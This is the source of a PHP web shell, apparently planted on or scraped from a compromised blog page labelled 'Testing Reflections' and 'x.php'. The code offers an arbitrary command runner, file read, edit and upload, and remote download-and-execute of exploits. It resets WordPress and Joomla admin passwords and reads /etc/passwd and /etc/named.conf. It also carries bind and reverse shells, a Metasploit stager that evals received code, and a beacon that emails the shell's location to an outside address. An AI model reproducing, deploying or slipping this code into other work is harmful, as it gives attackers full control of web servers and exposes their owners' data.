type='submit'></FORM>";}else {$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database  = $_POST['database'];$username  = $_POST['username'];$password  = $_POST['password'];$admin = $_POST['admin'];$pd = ($_POST["pwd"]);$pwd = md5($pd);@mysql_connect($localhost,$username,$password) or die (mysql_error());@mysql_select_db($database) or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());if($SQL) echo "<br><br><center><h1>Done... go and login</h1></center>";}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlhost = $_GET['sqlhost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ databases ]</a>";
if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;
if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";} 
elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
$db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){
$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
list($total) = mysql_fetch_row($hasil);
if(isset($_GET['z'])) $page = (int) $_GET['z'];
else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "") 
$data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;} 
elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
@mysql_select_db($db);$querys = explode(";",$query);
foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
for($i=0;$i<@mysql_num_fields($hasil);$i++) 
$msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";
for($i=0;$i<@mysql_num_rows($hasil);$i++) 
{$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";
for($j=0;$j<@mysql_num_fields($hasil);$j++) {
if($rows[$j] == "") $dataz = "&nbsp;";
else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";} 
else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } } 
else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";} 
@mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?> 
<form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><br><br><br><table class="tabnet" style="width:300px;"> <tr><th colspan="2">MySQL Connect</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form> 
<?php }}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domains')){echo "<br><br><p align=center>Domains and Users</p>";$d0mains = @file("/etc/named.conf");
if(!$d0mains){die("<center>Error : i can't read [ /etc/named.conf ]</center>");}echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wordpress')){if(empty($_POST['pwd'])){echo "<br><br><br><br><br><br><FORM method='POST'>DB_Prefix :  <INPUT class ='inputz' size='15' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host     :  <INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database :  <INPUT class ='inputz' size='15' value='Database' name='database' type='text'>&nbsp;&nbsp;username :  <INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;&nbsp;password :  <INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username :  <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password :  <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM>";}else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database'];$username= $_POST['username'];$password= $_POST['password'];$pwd= $_POST['pwd'];$admin= $_POST['admin'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);$k2=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());$k2=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());if($k2){echo '<br><br><center><h1>Done ... go and login</h1></center>';}}echo '</center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){$text = $_POST['code'];?><center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">k2ll33d</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php $op = $_POST["ope"];switch ($op) {case 'base64': $codi=base64_encode($text);break;case 'md5' : $codi=md5($text);break;case 'whash' : $codi=crypt($text);break;case 'SHA1' : $codi=sha1($text);break;case 'urlencode' : $codi=urlencode($text);break;case 'md4' : $codi=hash("md4",$text);break;case 'SHA256' : $codi=hash("sha256",$text);break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){@ob_start();@eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div>";} 
elseif(isset($_GET['view']) && ($_GET['view'] != "")){if(is_file($_GET['view'])){if(!isset($file))$file = magicboom($_GET['view']);if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file));$group=@posix_getgrgid(@filegroup($file));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];} else {$owner = $user;}$filn = basename($file);echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='".clearspace($filn)."_link'>".$file."</span> <form action='?y=".$pwd."&amp;view=$file' method='post' id='".clearspace($filn)."_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='".$filn."' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='".$filn."' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');' /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href='?y=$pwd&amp;edit=$file'>edit</a> | <a href=\"javascript:tukar(\"".clearspace($filn)."_link','".clearspace($filn)."_form\");\">rename</a> | <a href='?y=$pwd&amp;delete=$file'>delete</a> | <a href='?y=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?y=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?y=".$pwd."&amp;view=".$file."'>text</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=code'>code</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=image'>image</a></td></tr></table>";
if(isset($_GET['type']) && ($_GET['type']=='image')){echo "<div style='text-align:center;margin:8px;'><img src='?y=".$pwd."&amp;img=".$filn."'></div>";} 
elseif(isset($_GET['type']) && ($_GET['type']=='code')){echo "<div class='viewfile'>";$file = wordwrap(@file_get_contents($file),"240","\n");@highlight_string($file);echo "</div>";} else {echo "<div class='viewfile'>";echo nl2br(htmlentities((@file_get_contents($file))));echo "</div>";}}elseif(is_dir($_GET['view'])){echo showdir($pwd,$prompt);}}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){if(isset($_POST['save'])){$file = $_POST['saveas'];$content = magicboom($_POST['content']);if($filez = @fopen($file,"w")){$time = date("d-M-Y H:i",time());if(@fwrite($filez,$content)) $msg = "file saved <span class='gaya'>@</span> ".$time;else $msg = "failed to save";@fclose($filez);}else $msg = "permission denied";}if(!isset($file))$file = $_GET['edit'];if($filez = @fopen($file,"r")){$content = "";
while(!feof($filez)){$content .= htmlentities(str_replace("''","'",fgets($filez)));}
@fclose($filez);}?><form action="?y=<?php echo $pwd;?>&amp;edit=<?php echo $file;?>" method="post"> <table class="cmdbox"> <tr><td colspan="2"> 
<textarea class="output" name="content"> 
<?php echo $content;?></textarea> <tr>
<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file;?>" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> 
&nbsp;<?php echo $msg;?></td></tr></table></form> <?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){if(isset($_POST['uploadcomp'])){if(is_uploaded_file($_FILES['file']['tmp_name'])){$path = magicboom($_POST['path']);$fname = $_FILES['file']['name'];$tmp_name = $_FILES['file']['tmp_name'];$pindah = $path.$fname;$stat = @move_uploaded_file($tmp_name,$pindah);if ($stat) {$msg = "file uploaded to $pindah";} else $msg = "failed to upload $fname";}else $msg = "failed to upload $fname";} 
elseif(isset($_POST['uploadurl'])){$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$path = magicboom($_POST['path']);$namafile = download($pilihan,$wurl);$pindah = $path.$namafile;if(is_file($pindah)){$msg = "file uploaded to $pindah";}else $msg ="failed to upload $namafile";}?>
<form action="?y=<?php echo $pwd;?>&amp;x=upload" enctype="multipart/form-data" method="post"><br><br><br>
<table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd;?>&amp;x=upload"> <table><tr><td>link</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://site/file.*"></td></tr> <tr><td colspan="2">
<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg;?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdc.c",$port_bind_bd_c);exe("gcc -o bdc bdc.c");exe("chmod 777 bdc");@unlink("bdc.c");exe("./bdc ".$port." ".$passwrd." &");$scan = exe("ps aux");if(eregi("./bdc $por",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";}} 
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdp",$port_bind_bd_pl);exe("chmod 777 bdp");$p2=which("perl");exe($p2." bdp ".$port." &");$scan = exe("ps aux");if(eregi("$p2 bdp $port",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";} } 
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {$ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcc.c",$back_connect_c);exe("gcc -o bcc bcc.c");exe("chmod 777 bcc");@unlink("bcc.c");exe("./bcc ".$ip." ".$port." &");$msg = "trying to connect to ".$ip." on port ".$port." ...";} 
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcp",$back_connect);
exe("chmod +x bcp");$p2=which("perl");exe($p2." bcp ".$ip." ".$port." &");
$msg = "Trying to connect to ".$ip." on port ".$port." ...";}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$namafile = download($pilihan,$wurl);
if(is_file($namafile)){$msg = exe($wcmd);}
else $msg = "error: file not found $namafile";}?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px;"><?php echo $msg;?></div><br>
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&amp;x='netsploit'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><hr color='#4C83AF'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}} elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){?> 
<form action="?y=<?php echo $pwd;?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" readonly>
<?php if(isset($_POST['submitcmd'])) {echo @exe($_POST['cmd']);} ?> 
</textarea> <tr><td colspan="2"><?php echo $prompt;?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%;" /></td></tr> </table></form> 
<?php }else{if(isset($_GET['delete']) && ($_GET['delete'] != "")){$file = $_GET['delete'];@unlink($file);} 
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){$path = $pwd.$_GET['mkdir'];@mkdir($path);}$buff = showdir($pwd,$prompt);echo $buff;}
?></div></body></html>'; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

x.php

Testing Reflections - Wed, 12/10/2014 - 06:34
<?php // fb/k2ll33d $k2ll33d='// by k2ll33d / fb/k2ll33d
set_time_limit(0);error_reporting(0);
if(isset($_GET["dl"]) && ($_GET["dl"] != "")){$file = $_GET["dl"];$filez = @file_get_contents($file);header("Content-type: application/octet-stream");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename='".basename($file)."';");echo $filez;exit;} 
elseif(isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")){$file = $_GET['dlgzip'];$filez = gzencode(@file_get_contents($file));header("Content-Type:application/x-gzip\n");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename='".basename($file).".gz';");echo $filez;exit;} 
